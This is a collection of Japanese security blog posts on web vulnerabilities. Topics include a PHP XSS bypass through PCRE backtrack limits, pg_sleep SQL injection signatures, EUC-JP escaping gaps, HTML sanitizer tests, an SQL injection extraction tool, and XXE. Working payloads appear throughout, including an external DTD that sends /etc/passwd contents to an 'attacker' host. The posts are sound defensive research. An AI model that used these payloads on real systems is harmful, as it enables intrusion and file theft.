マッチするはずの正規表現がマッチしない現象

今日は、PHPでよく使用される正規表現エンジンであるPCRE(Perl Compatible Regular Expression)の、余り知られていない(と思う)制約について書きます。

プログラム

題材は下のPHPプログラムです。

<?php
header('Content-Type: text/html; charset=latin1');

$url = $_REQUEST['url'];

if (preg_match('/^(.*?):/s', $url, $match)) {
    $scheme = $match[1];
    if ($scheme !== 'http' && $scheme !== 'https') {
        exit;
    }
}

echo '<a href="'. htmlspecialchars($url). '">link</a>';

外部から受け取った「url」パラメータを、A要素のhref属性値に出力するプログラムです。HTMLに出力する際に、htmlspecialchars()によるエスケープをしています。また、URLにスキームが付いている場合には、スキームがhttp・httpsのいずれかであるかチェックして、そうでない場合はexitします。

このプログラムのロジックはあまりスマートではありませんが、少なくともXSS攻撃に対して安全なように見えます。私自身も、少し前まではそう思っていました。ところが実際には「ある方法」を使うことで、このプログラムのチェックは回避されてしまいます。

DOTALLオプション

上の「ある方法」についての話からはそれますが、この手の正規表現で比較的多いであろう間違い(私自身も実際に何件か遭遇したことがある間違いです)について書きます。

その間違いとは「.」が全文字にマッチすることを期待していながら「DOTALL」オプションをつけ忘れるというものです。DOTALLがないと「.」は改行文字(PCREでは基本的にU+000A)にマッチしないため、下のような値を与えるとチェックをすりぬけることができます。

url=[0x0A]javascript:alert(111)

しかし、冒頭のプログラムの正規表現にはs修飾子(DOTALL)がついているため、この手は使えません。攻略するには別の方法をとらなければなりません。

PCREの上限値

話が脇にそれましたが、ここから本題です。

実は冒頭のプログラムは、以下のPHP設定の上限値を悪用することで攻略できます。

名前 デフォルト 変更の可否 変更履歴
pcre.backtrack_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能
pcre.recursion_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能

(省略)


pcre.backtrack_limit integer

PCRE のバックトラック処理の制限値です。

pcre.recursion_limit integer

PCRE の再帰処理の制限値です。この値を大きくすると、 使用可能なプロセススタックを使い切ってしまい、 (OS のスタックサイズの制限値に達して) PHP をクラッシュさせてしまうことに注意しましょう。

PHP: 実行時設定 - Manual

実行時にこれらの上限を超えてしまうと何が起こるかというと、preg_match関数は「マッチしなかった」ときと同じく「0」を返します(preg_replace関数の場合は、上限を超えるとNULLを返します)。

冒頭のプログラムは、正規表現にマッチしない値は「安全」とみなすロジックになっています。このため上限を超えるような値を与えて本来はマッチするもののマッチを失敗させることで、攻撃を成功させることができます。

具体的には、設定値がデフォルト(100,000)から変更されていない場合、以下の文字列を与えてやればXSS攻撃が成功します。

Firefox:
 url=(100,000個の[0x0A])javascript:alert(123)

IE:
 url=javas(100,000個の[0x00])cript:alert(123)

対策

冒頭のような単純なチェックであれば、正規表現を使わずに、より高速に動作するコードを書くことができます。しかし、ここではPCREを使うことを前提にした対策を書きます。

根本的な対策

上限値を超えたり、PCRE内で何かエラーが発生した場合、そのエラーコードはpreg_last_error関数で取得できます。バックトラックなどの上限に到達したことも、この関数で知ることができます。

これを利用して、下のコードのようにPCREのエラーを拾うことで、この種の攻撃を防ぐことができます。

<?php
if (preg_match('/^(.*?):/s', $url, $match)) {
    (省略)
}
elseif (preg_last_error() !== PREG_NO_ERROR) {
    exit;
}

もしくは、セキュリティに関わるチェックをPCREで行う場合は、マッチに失敗しうることを前提としたフローにするという対策もあります。要は「マッチしない場合はチェックOK」のフローはダメということです。

他の対策

他にも対策は考えられます。

  • 入力値の長さを制限する AND/OR 設定を変更して上限値を大きくする
    設定の上限値を大きくしても上限がなくなるわけではないことに注意が必要です。また、入力値の長さ制限も、どこまで制限すればよいのかの判断は難しいです。例えば、マッチ対象の文字列を100文字に制限しても、パターン次第では100回以上バックトラックが起こることがあります。
  • バックトラックや再帰処理が発生しにくいパターンにする
    例えば、冒頭のプログラムの場合、パターンを「/^([^:]*?):/s」にすればバックトラックの回数は大幅に減りました。ただ、ある正規表現が十分に効率的なものなのかを判断するには、正規表現エンジンについてのそれなりの知識が必要だと思います(私自身には無理です)。

この2つの対策は、それを実践したり、本当に正しく実践されているかの確認が難しいところがあります。ですので、あくまでも保険的な対策と考えるのがよいと思います。

上限値が存在する理由

実はバックトラックや再帰処理の上限値は、PHP固有のものではなく、PCREライブラリにもともと存在している設定項目です。PHPの設定値は、PHPからPCREライブラリを使う際の上限値をPCREにセットしているだけです。

したがって、PCREライブラリを使う全てのアプリケーションは、(PHPとは無関係のものであっても)PCREの上限値の影響を受けます。ちなみに、PCREライブラリ自体のデフォルトの上限値は、いずれも10,000,000です。PHPでPCREを使う際のデフォルト値よりも2ケタ大きい値となっており、PHPよりも影響は受けにくいのは確かですが、それでも上限値は存在します。

それでは、なぜこのような設定項目がPCREに存在するのかということですが、これはパターンを細工してマシンに過剰な負荷をかけさせたり、エンジンのバグを突くような攻撃の影響を軽減するためのセキュリティ機能だと思います。

なお、PHP(5.2以降)では、前述のようにPCREのデフォルトよりも2ケタ小さい上限値(100,000)が使われますが、この上限値はPCREがリソースを食いつぶすバグの影響を軽減するために導入された可能性があります。

参考:PHP :: Bug #40909 :: Segmentation Fault with preg_match_all

PCRE以外のエンジン

ちなみに、このような上限が実装されているのはPCREだけではないようです。試してませんが、Perl正規表現エンジンも、以下のようなWarningを吐くことがあるようです。

参考:Complex regular subexpression recursion limit - Google 検索

それ以外の正規表現エンジンについては、軽くググってみたものの、上限が存在するものを見つけることはできませんでした。

テストした環境

PHP5.3.2+PCRE 8.00の環境で試しています。

pg_sleepを使った検査

徳丸さんの日記(pg_sleepをSQLインジェクション検査に応用する - ockeghem's blog)を読みました。

こういう検査のマニアックな話は大好きです。

このあたりのシグネチャは、私も自作ツール(参考)の検討をしていた際に相当いろいろ悩んで調べましたので、今回はUPDATE文のSET句などにも適用できるような改善の提案をしたいと思います(おろらく既に徳丸さんの頭にあるものだとは思いますが)。

徳丸さんの日記の検査パターンは、以下の値を挿入するものでした。

' and cast( (select pg_sleep(3)) as varchar) = '

これを少し変えて、以下のようにします。

<文字列型>
【元の値】'||(select pg_sleep(3))||'

数値型であれば、以下のようにします。

<数値型>
【元の値】-cast(chr(48)||(select pg_sleep(3)) as int)

上の二つはいずれも「AND」などを使っていないため、SELECT以外の文(UPDATEのSET句やINSERTのVALUES句)や、IN ('foo','bar')のような箇所にインジェクションするケースにも適用可能です。

なお、SQLのブロックコマンドを使うトリッキーな方法を用いると、いっぺんに文字列/数値型の両方に対応した検査ができます。

<文字列/数値型 両方対応>
【元の値】/*'||(select pg_sleep(3))||'*/-cast(chr(48)||(select pg_sleep(3)) as int)

ちょっと長いので、アプリの長さチェックなどに引っかかる可能性が増えるのが難点です。

****

しかしいろいろ考えた挙句、自作ツールにはこれらのシグネチャは組み込みませんでした。その理由はいくつかありますが、一番大きい理由は「postgres(しかもv8.2以上)を使っているサイトが(相対的に)少ない」ということです*1

見方を変えると、postgres8.2以上を使っていることがはじめから判っているサイトを検査する状況においては、pg_sleepを使った検査手法も有効なのだろうと思います。

余談ですが、pg_sleepはワイルドな攻撃では実際に使われているようです。google検索の結果には、pg_sleepを使った攻撃の痕跡と思われる不自然なURLが残っています。

http://www.google.co.jp/search?q=inurl%3Apg_sleep&lr=

以前google検索した時には、もう少し多くの攻撃の痕跡が見つかったような記憶があります。調べてませんが、何かの攻撃ツール(もしくは検査ツール)がpg_sleepを使っているのかもしれません。

*1:自作ツールにはOracle用のTime delay系のシグネチャだけを入れました。

htmlspecialchars()/htmlentities()について

id:t_komuraさんの、最新の PHP スナップショットでの htmlspecialchars()/htmlentities() の修正内容についてを読みました。

見ていて気になったことが1つあります。

2. EUC-JP

…(省略)…

 (2) \x80 - \x8d, \x90 - \xa0, \xff については、そのまま出力される

<?php
var_dump( bin2hex( htmlspecialchars( "\x80", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\x8d", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\x90", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\xa0", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\xff", ENT_QUOTES, "EUC-JP" ) ) );

PHP 5.3.0 / PHP 5.2.11 の結果です。

string(2) "80"
string(2) "8d"
string(2) "90"
string(2) "a0"
string(2) "ff"

修正後(最新のスナップショット)の結果です。これらの文字列については変更ありません。

string(2) "80"
string(2) "8d"
string(2) "90"
string(2) "a0"
string(2) "ff"

この挙動は、一部のブラウザにおいて問題になると思われます。

というのも、実は一部のブラウザにおいては、本来のEUC-JPの先行バイトである「\x8e, \x8f, \xa1 - \xfe」以外のバイトでも、後続の文字を食いつぶす現象が発生するからです。

少し古い情報ですが、Bypassing script filters via variable-width encodingsに、ブラウザごとに後続の文字を食いつぶすバイトが書かれています。

 +-----------+-----------+-----------+-----------+
 |           | IE        | FF        | OP        |
 +-----------+-----------+-----------+-----------+
 | UTF-8     | 0xC0-0xFF | none      | none      |
 +-----------+-----------+-----------+-----------+
 | GB2312    | 0x81-0xFE | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | GB18030   | none      | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | BIG5      | 0x81-0xFE | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | EUC-KR    | 0x81-0xFE | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | EUC-JP    | 0x81-0x8D | 0x8F      | 0x8E      |
 |           | 0x8F-0x9F |           | 0x8F      |
 |           | 0xA1-0xFE |           | 0xA1-0xFE |
 +-----------+-----------+-----------+-----------+
 | SHIFT_JIS | 0x81-0x9F | 0x81-0x9F | 0x81-0x9F |
 |           | 0xE0-0xFC | 0xE0-0xFC | 0xE0-0xFC |
 +-----------+-----------+-----------+-----------+

上表の赤字箇所をみると、IE(IE6)はEUC-JPの「\x8e, \x8f, \xa1 - \xfe」以外のバイトである「\x81 - \x8d, \x90 - \x9f」でも後続の文字を食いつぶすことが分かります。上の表は2006年の情報で少々古いのですが、私が3〜4ヶ月前にIE6/IE7で試した時も、上表と同じ結果になりました。

ですので、IEEUC-JPの場合、id:t_komuraさんの日記で説明されている最新版のhtmlspecialchars()でエスケープを行ったとしても、後続の文字を食いつぶす攻撃を防げない(場合がある)、ということになります。

****

ところで、上の現象が起こるのはIEだけです。IEでそのような現象が起こる理由は、本題ではないので割愛します。また、IE側が異常(脆弱)であるという捉え方もありますが、ここではひとまずIE側の話はおいておきます。

htmlspecialchars()側としてどうなのかを考えると、どうせ文字チェックをするのであれば「\x8e, \x8f, \xa1 - \xfe」だけをはじくという、ある種のブラックリスト的な方法ではなく、いっそのこと「EUC-JPとして正常なシーケンスしか出力しない」というホワイトリスト的なアプローチをとることができないものだろうかと思います。

ホワイトリスト的な方法にもいくつかのレベルがありますが、比較的シンプルなのは、以下のようなラフな正規表現Perl風)にマッチしないものをinvalidだとみなす方法です。

\A([\x00-\x7f]|(\x8F?[\xA1-\xFE]|\x8E)[\xA1-\xFE])*\Z

さらにホワイトリスト的なアプローチを突き詰めると、文字集合の話が出てきます。例えば、機種依存文字やユーザ定義文字(絵文字など)をどうするか、あるいはIEが解釈できない補助漢字などの3バイト文字をどうするかのような話です。

理想を言えば、htmlspecialchars()が、通常のEUC-JPに加えて、一般的に使われる亜種コード(eucjp-win, CP51932)もサポートした上で、文字集合のチェックまで実施するのが望ましいと思います(PHPマニュアルによると、現状のhtmlspecialchars()は、eucjp-winやCP51932といった文字コードをサポートしていません)。

Anti-XSS Library v3.1を試す

Anti-XSSライブラリのV3.1から、GetSafeHtml()やGetSafeHtmlFragment()といったスタティックメソッドが用意されました。これらのメソッドは、入力として与えられたHTMLやHTML断片から、JavaScriptを除去するためのものです。

(参考)HTML Sanitization in Anti-XSS Library – Security Tools

今回は、HTML断片を処理するGetSafeHtmlFragmentメソッドを試してみました。

挙動を見る限り、タグ/属性に加えてCSSホワイトリストベースで処理されます。かなり出来がよいライブラリです。IE8のtoStaticHTML関数がいまいちだったので(参考)、余り期待していませんでしたが、少なくともtoStaticHTMLよりもはるかによいです。

ただ現時点で実際のサイトに適用するうえでは問題もあります。ライブラリに関する情報量が少なく、どのようなタグや属性がホワイトリストに載っているのかが分かりません。また、許可するタグなどをカスタマイズする方法も分かりませんでした。ホワイトリストのカスタマイズは、類似のライブラリの多くに用意されている機能であり、それがないとしたら実用性の面で問題となるでしょう。

以下はメモです。網羅的なものではありませんが、参考まで載せておきます。

<要素の内容>
入力1:<b><&#x30;&#x3C;&#x3042;</b>
出力1:<b>&lt;0&lt;あ</b>

要素内容の文字参照はデコードされ、再びエンコードされる。

<属性値>
入力1:<img alt=111 alt='222' alt=3"'4&<&lt;>
出力1:<img alt="111" alt="222" alt="3&quot;'4&amp;&lt;&lt;">

属性値は無条件にダブルクォートで括られる。文字参照はデコードされ、再びエンコードされる。

<NULL文字>
入力1:<b>111[NULL]222&#0;333</b>
出力1:<b>111222&amp;#0;333</b>

要素内容のNULL文字は削除される。「&#0;」は「&amp;#0;」になる。

<不明な要素/属性>
入力1:<ab>111</ab>
出力1:111

入力2:<b ida="1">222</b>
出力2:<b>222</b>

ホワイトリストにない要素や属性は除去される。本当は、どのような要素や属性がホワイトリストに載っているかが重要だが、今回は検証に時間がかかるので調べていない。

<壊れた要素/属性>
入力1:<b id="3"
出力1:&lt;b id=&quot;3&quot;

入力2:<b id="3>
出力2:&lt;b id=&quot;3&gt; 

入力3:<p>111
出力3:<p>111 </p>

入力4:<b/title="1">222</b>
出力4:<b title="1">222</b>

入力5:<b title!#$%&="111">222</b>
出力5:<b>222</b>

入力6:<img """>111
出力6:<img>111

入力7:<p <s>111</s>
出力7:<p>111</p>

入力8:<style>
出力8:<style></style>
    <div></div>

HTMLはParseされ再構築される。なぜか、空のstyle要素の後にdivが付く。

<HTMLコメント>
入力1:111<!-- 222 -->333
出力1:111333

入力2:<!--[if gt IE 4]>111<![endif]-->222
出力2:222

HTMLコメントは除去される。

<特殊な構文>
入力1:<b><![CDATA[111]]>222</b>
出力1:<b>222</b>

入力2:<?import><?xml version="1.0"?>111
出力2:111

CDATAセクションなどは解釈されず、除去される。

URI属性>
入力1:<img src="http://example.com/">
出力1:<img src="http://example.com/">

入力2:<img dynsrc="httpxxx&#x3A;//example.com/">
出力2:<img dynsrc="">

入力3:<img dynsrc="&#x1;ho&#xD;ge://example.com/">
出力3:<img dynsrc="">

入力4:<img src="data:image/gif;base64,R0lGODdhAQABAIABAAAAAP///ywAAAAAAQABAAACAkQBADs=">
出力4:<img src="">

入力5:<img src="./hoge:xxx">
出力5:<img src="./hoge:xxx">

URI属性のスキームはホワイトリストで処理されている模様。

<壊れた文字参照
入力1:<b>&#1112322343423;&hoge;</b>
出力1:<b>&amp;#1112322343423;&amp;hoge;</b>

入力2:<b>&#xD800;</b>
出力2:<b>[0xEFBFBD]</b>  (=U+FFFD。UTF-8出力の場合)

入力3:<b>&#x000030;&#x000000030;</b>
出力3:<b>0&amp;#x000000030;</b>

デコードできない文字参照は、「&」がエンコードされるかU+FFFD(Replacement Character)になる。

<ID属性>
入力1:<b id="aaa">111</b>
出力1:<b id="x_aaa">111</b>

入力2:<style>.aaa {color: red;}</style>
出力2:<style>
    <!--
    .x_aaa
    	{color:red}
    -->
    </style>
    <div></div>

ID属性は頭に「x_」を付けられる模様。CSSセレクタのIDも同じ。

CSS 不明なプロパティ/値>
入力1:<b style="hoge: 1px;">111</b>
出力1:<b style="">111</b>

入力2:<b style="width: aaa; color: red;">111</b>
出力2:<b style="width:aaa; color:red">111</b>

入力3:<b style="width: aaa(); color: red;">111</b>
出力3:<b style="color:red">111</b>

入力4:<b style="color: hoge;">111</b>
出力4:<b style="color:hoge">111</b>

入力5:<b style="color: $red">111</b>
出力5:<b style="">111</b>

プロパティにはホワイトリストが適用されるようで、不明なプロパティは削除される。ただし、値のチェックはそれほど厳密ではなく、「color:hoge」や「width:aaa」は通る。しかし、「color:$red」や「width: aaa()」のようなものは削除される。

CSS バックスラッシュエンコード
入力1:<b style="colo\0072: re\0064;">111</b>
出力1:<b style="color:re\0064">111</b>

CSSプロパティの「\」エンコードはデコードされる。

CSS コメント>
入力1:<b style="color/* yyy */: red;">111</b>
出力1:<b style="color: red">111</b>

入力2:<b style="color: re/*xxx*/d;">111</b>
出力2:<b style="color:red">111</b>

入力3:<b style="font-family: '/* xxx */ hoge';">111</b>
出力3:<b style="font-family:'/* xxx */ hoge'">111</b>

CSSコメントは除去される。ただし、「'」で括られた文字列リテラルは理解しているようで、文字列リテラル内のコメントは除去されない。

CSS 文字列リテラル内のバックスラッシュ>
入力1:<b style="font-family: '\\\';">111</b>
出力1:<b style="">111</b>

入力2:<b style="font-family: '\\\\';">111</b>
出力2:<b style="font-family:'\\\\'">111</b>

入力3:<b style="font-family: '&#xA5;';">111</b>
出力3:<b style="font-family:'?'">111</b>   (=Shift_JIS出力の場合)

かつてのhtmlpuriferは、CSSの「'」で括られた文字列リテラル内で「\」や「U+00A5」を使うことでXSSできたので、同じことを試してみる(http://htmlpurifier.org/svnroot/htmlpurifier/tags/3.1.1/NEWS)。

入力1,2をみると、文字列リテラル内の「\」によるエスケープを解釈していることが分かる。入力3では「U+00A5」を使って「'」からの脱出を試みているが、ASP.NETで「responseEncoding="shift-jis"」にした場合、「U+00A5」は「?」に変換されるので、攻撃に失敗する模様(設定によっては攻撃に成功するかもしれないが、よく分からない)。

CSS 文字列リテラルセレクタ内の特殊記号>
入力1:<b style="font-family: 'expression(alert(1))';">111</b>
出力1:<b style="font-family:'expression(alert(1))'">111</b>

入力2:<b style="font-family: '</あ&';">111</b>
出力2:<b style="font-family:'\3C /あ&amp;'">111</b>

入力3:<style>.aaa\30 {font-family: '</あ&-->';}</style>
出力3:<style>
    <!--
    .x_aaa\30 
    	{font-family:'\3C /あ&--\3E '}
    -->
    </style>
    <div></div>

入力4:<style>.aaa>.bbb {font-family: monospace;}</style>
出力4:<style>
    <!--
    .x_aaa > .x_bbb
    	{font-family:monospace}
    -->
    </style>
    <div></div>

文字列リテラル内では「(」「)」が使える。文字列リテラル内の「<」「>」はバックスラッシュによりエンコードされる。セレクタの「>」はエンコードされない。

CSS その他>
入力1:<style>@import 'http://example.com/';</style>
出力1:<style>
    <!--
    -->
    </style>
    <div></div>

入力2:<style>@\69 mp\ort '//example.com/';</style>
出力2:(出力1と同じ)

入力3:<p style="background-image: url('http://example.com/');">111</p>
出力3:<p style="">111</p>

入力4:<p style="background-image: url\28'//example.com/'&#x5C;29;">111</p>
出力4:<p style="">111</p>

@import規則は使えない。url()も使えないようになっている。

SQL Injection Toolの作成

検査ツール作成の一環として、SQL Injection脆弱性を利用してデータを抜き出すツールを作成しました。

使い方

f:id:teracc:20090806231217g:image

この手のツールを使ったことがある人は、見れば何となく分かると思いますが、簡単に説明します。

まずは、検査対象のリクエストとパラメータを指定します。指定できるパラメータは、GET/POSTパラメータ、Cookie、HTTPヘッダ、URLパスです。

次に、DBから抜き出したいデータを指定します。デフォルトではDBMSのバージョンを抜き出します。それ以外のSQL文の実行結果も抜き出し可能ですが、現時点では、文字列型のスカラー値を返すSQL文のみが指定可能です。逆に言うと、複数行もしくは複数列を返すSQL文は指定できませんし、DBMSによっては数値型のスカラー値を返すSQL文も指定できません。*1

その次に、SQLエラーの判別方法を指定します。データを抜き出すためには、パラメータを操作してリクエストを送信した際の応答を見て、サーバアプリでSQLエラーが発生したか否かを判断する必要がありますが、ここで指定するのはその判別方法です。

デフォルトでは、応答のステータスコードや内容(エラーメッセージが含まれるか、あるいは正常値を送った際の応答との違い)から自動判別しますが、うまく判別できない場合にはツールに対して判別方法(正規表現)を教えてあげます。

最後に、リクエストごとに入れるウェイト時間を指定します。

ツールの特徴

2007年12月2日の日記にも書きましたが、世の中にはすでにいくつものSQL Injectionツールが存在します。

今回作ったツールは、これらの既製のツールと比べて何か革新的な新しさがあるわけではありません。既製のいくつかのツールを参考にして、必要なロジック改善や機能追加をしたのが、今回のツールです。*2

主要な機能/特徴を挙げると、以下のようになります。

  • 5種類のDBMSに対応
  • DBMSのfingerprintとDBデータの抜き出し機能を持つ
    • ただし、各種のexploit機能(xp_cmdshellなど)はない
  • データの抜き出しは、エラーメッセージベースの手法とBlind手法に対応
    • UNION手法や、Time Delayを利用したBlind手法には対応していない
  • 通常のツールではデータを抜けないようなページに対応している
    • ex. ワンタイムトークンが必要なページの脆弱性
    • ex. 一旦値がセッション変数などに入って、別のリクエストで発動するタイプの脆弱性
  • SELECTのWHEREへの挿入以外にも対応可能
    • ex. INSERT VALUESや、UPDATE SETの数値/文字列リテラルへの挿入
    • ex. カラム名(SELECTのORDER BY)などへの挿入

作成の工数

今回は、既存の検査ツール用のクラスなどを利用したため、新しく書いたコードは1KLもないです。ですので、構想=1日、実装/テスト=2日程度の労力でほぼ完成しました。

ゼロから作るのであっても、比較的簡単なものならば、コード量としては2〜3KL程度を見ておけば充分だと思います。実際NGSSのツール(C言語で書かれている)は1KL程度のボリュームしかありません。

*1:DB2などは型に厳しいため。

*2:特に、NGSS SQL Injectorが好きなので、fingerprint機能などは参考にさせてもらいました。

括弧なしのXSS

hoshikuzuさんの日記から。

詰めXSS回答第弐回(分割方式)

これ、SCRIPTタグの内側に挿入できるけれども、括弧など殆どの記号がはじかれてしまうアプリがあって、仕事で1回だけ使ったことがあります。

とはいっても、hoshikuzuさんの記事の後半に書いてあるような技を使ったわけではなく、私の場合は単純に「a setter=alert,a=123」みたいのを入れて「詰み」としました。

私がsetterを使う手法を見つけたのはこちらのページです。

http://sla.ckers.org/forum/read.php?2,20954

sla.ckers.orgのXSS Info Forumは、まさにこの手のネタの宝庫です。

***

ところで、setterを使ったのは、以下のような経緯でした。

  • 私・・・XSSを報告
  • 開発者・・・なぜか括弧などの記号が使えないように改修
  • 私・・・まだXSSできることを報告
  • 開発者・・・数字のみ許可するように改修

初回の報告のときに、根本的な対策方法を含めて報告をあげるわけですが、開発者の方がそのとおりに改修してくれないことも多くあります。私も昔は開発をしていて検査を受ける立場だったこともあるので、なんとなく分からないでもないですが。時には、このようなやり取りがもっと続くこともあります。

XMLをParseするアプリのセキュリティ(補足編)

以前の日記では、外部からのXMLをサーバサイドでParseするアプリへの攻撃の概要について書きました。

今日の日記では、何点か補足する事項について書きます。

ファイルの内容を盗み出す他の方法

前の日記の中で、サーバ上のファイルの内容を外部から盗み出すにはいくつかの条件があると書きました。

その条件のひとつに「コーディングのスタイル」がある、具体的には「textContent」で要素の内容を取得するアプリ(下のPHPコードではAのスタイルのアプリ)でのみ、サーバ上のファイルの内容を盗まれる可能性がある、と書きました。

<?php
...
$elm = $doc->getElementsByTagName('test')->item(0);

// A: 外部実体参照が展開される
$var = $elm->textContent;

// B: 外部実体参照は展開されない
$var = $elm->firstChild->nodeValue;

しかし、あの日記を書いて以降、Java+Xercesで試してみたところ、コーディングのスタイルにかかわらず、ファイルの内容を盗み出せる(可能性がある)ことに気がつきました。

例えば、攻撃者は、以下のようなXMLを攻撃対象サーバ上でParseさせます。

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker/test.dtd" >
<foo>&e1;</foo>

外部DTDが有効になっている場合、攻撃者のサーバ(attacker)上のtest.dtdが読み込まれます。test.dtdの中身は以下のようにします。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>">
%p2;

まず最初に、パラメータ実体である「%p1;」には、攻撃対象サーバ上の/etc/passwdファイルの中身をセットします。次の行では、外部実体「&e1;」を定義するためのパラメータ実体「%p2;」を定義し、最後の行で「%p2;」を展開します。

これにより外部実体「&e1;」が定義されますが、ここでattackerサーバが「/BLAH」に対するリクエストに404応答を返せば、以下のようなRuntime Exceptionが発生します。

java.lang.RuntimeException: java.io.FileNotFoundException: http://attacker/BLAH#root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...

攻撃者がParse時のエラーメッセージを得られるケースでは、この手法を使って攻撃対象サーバ上のファイルを取得できることになります。

ただし、詳細は割愛しますが、この手法で取得できるファイルにはいろいろと制限があり、取得できないファイルも多くあります。また、このような冗舌なExceptionメッセージを出力しない実装のJavaライブラリもあると思われます。

それでは、Blind状態のアプリ(都合のよいエラーメッセージが得られないアプリ)は攻撃できないのかというと、そうでもありません。攻撃に成功するケースはかなり限定されますが、場合によってはファイルの中身を盗み出すことができます。

たとえば、外部のDTDを以下のように書き換えます。

<!ENTITY % p1 SYSTEM "file:///etc/redhat-release">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/%p1;'>">
%p2;

攻撃対象サーバから外部への通信が許可されているならば、これにより攻撃対象サーバのファイル(/etc/redhat-release)の中身が、attackerサーバ側のHTTPログに残ります。DTDの2行目にて「%p1;」を埋め込む箇所を変えれば、DNSログに必要な情報を残させることもできます。

ただし、URLやホスト名の文字列は、使える文字の種類や長さに関する厳しい制約があります。私が試した限り、その制約を満たさない限りはattackerサーバにDNS/HTTPのリクエストは送られませんでした。ですので、この手法で抜けるのは、中身が単純なファイル(たとえば/etc/redhat-releaseのようなファイル)に限られると思います。

PHPのDOM関数について

前回の日記には、PHPのDOM関数については、DTDや外部実体を使用禁止にする方法が見つけられなかったと書きました。

その後、もう少し調べてみたので、その結果を書きます。

PHPのDOM関数は内部的にlibxmlを使用しているので、libxmlのParseオプションを見てみます。以下は、libxmlの現時点での最新版(libxml2-2.6.9)の、parse.hに定義されているParseオプションです。

typedef enum {
    XML_PARSE_RECOVER   = 1<<0, /* recover on errors */
    XML_PARSE_NOENT     = 1<<1, /* substitute entities */
    XML_PARSE_DTDLOAD   = 1<<2, /* load the external subset */
    XML_PARSE_DTDATTR   = 1<<3, /* default DTD attributes */
    XML_PARSE_DTDVALID  = 1<<4, /* validate with the DTD */
    XML_PARSE_NOERROR   = 1<<5, /* suppress error reports */
    XML_PARSE_NOWARNING = 1<<6, /* suppress warning reports */
    XML_PARSE_PEDANTIC  = 1<<7, /* pedantic error reporting */
    XML_PARSE_NOBLANKS  = 1<<8, /* remove blank nodes */
    XML_PARSE_SAX1      = 1<<9, /* use the SAX1 interface internally */
    XML_PARSE_XINCLUDE  = 1<<10,/* Implement XInclude substitition  */
    XML_PARSE_NONET     = 1<<11,/* Forbid network access */
    XML_PARSE_NODICT    = 1<<12,/* Do not reuse the context dictionnary */
    XML_PARSE_NSCLEAN   = 1<<13,/* remove redundant namespaces declarations */
    XML_PARSE_NOCDATA   = 1<<14 /* merge CDATA as text nodes */
} xmlParserOption;

15種類のオプションが用意されていますが、やはり、DTDや外部実体の使用を禁止するためのオプションはありません(それらしい名前のオプションもありますが、期待通りには動きません)。したがってlibxmlを利用しているPHPのDOM関数でも、DTDや外部実体を禁止することはできないと思います。

なお、過去には、libxmlのメーリングリストにて、外部実体対策を意図したであろうParseオプションを追加するような提案がされたことがあります。

[xml] new PARSER_NO_DISK_ACCESS constant

ただしこの提案は採用されなかった模様です。

.NETについて

私自身は、.NET環境でのXML処理はやったことがありませんが、非常によさそうな情報があるので紹介します。

System.Xml のセキュリティに関する考慮事項